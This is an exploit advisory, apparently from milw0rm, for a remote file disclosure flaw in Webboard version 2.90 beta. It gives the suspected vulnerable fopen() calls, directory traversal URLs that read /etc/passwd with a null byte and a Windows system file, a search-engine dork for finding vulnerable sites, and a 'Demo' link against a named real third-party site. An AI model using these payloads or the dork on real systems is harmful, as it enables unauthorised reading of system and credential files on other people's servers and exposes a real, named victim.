43 lines
No EOL
1.2 KiB
Text
43 lines
No EOL
1.2 KiB
Text
Webboard <= v.2.90 beta Remote File Disclosure Vulnerability
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=============================================================
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Author: MrDoug
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Email: mrdoug13 [at] gmail [dot] com
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Greetz to all my friends
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There are 3 vulnerable calls to fopen() in "/webboard/view.php"
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They are on lines 7, 109 and 113. I have not actually read the
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source but based on tests I would GUESS they look something
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like this...
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7: fopen('title/' . $_GET['topic'] . '.txt');
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...
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109: fopen('counter/read/' . $_GET['topic'] . '.txt');
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...
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113: fopen('counter/read/' . $_GET['topic'] . '.txt');
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IMPORTANT:
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Due to the trailing ".txt", retrieving files with different
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extensions will be difficult unless you are able to get a
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null byte through without it being escaped.
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=============================================================
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Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00
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Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula
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Dork: inurl:"webboard/view.php?topic="
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Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula
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# milw0rm.com [2009-05-29] |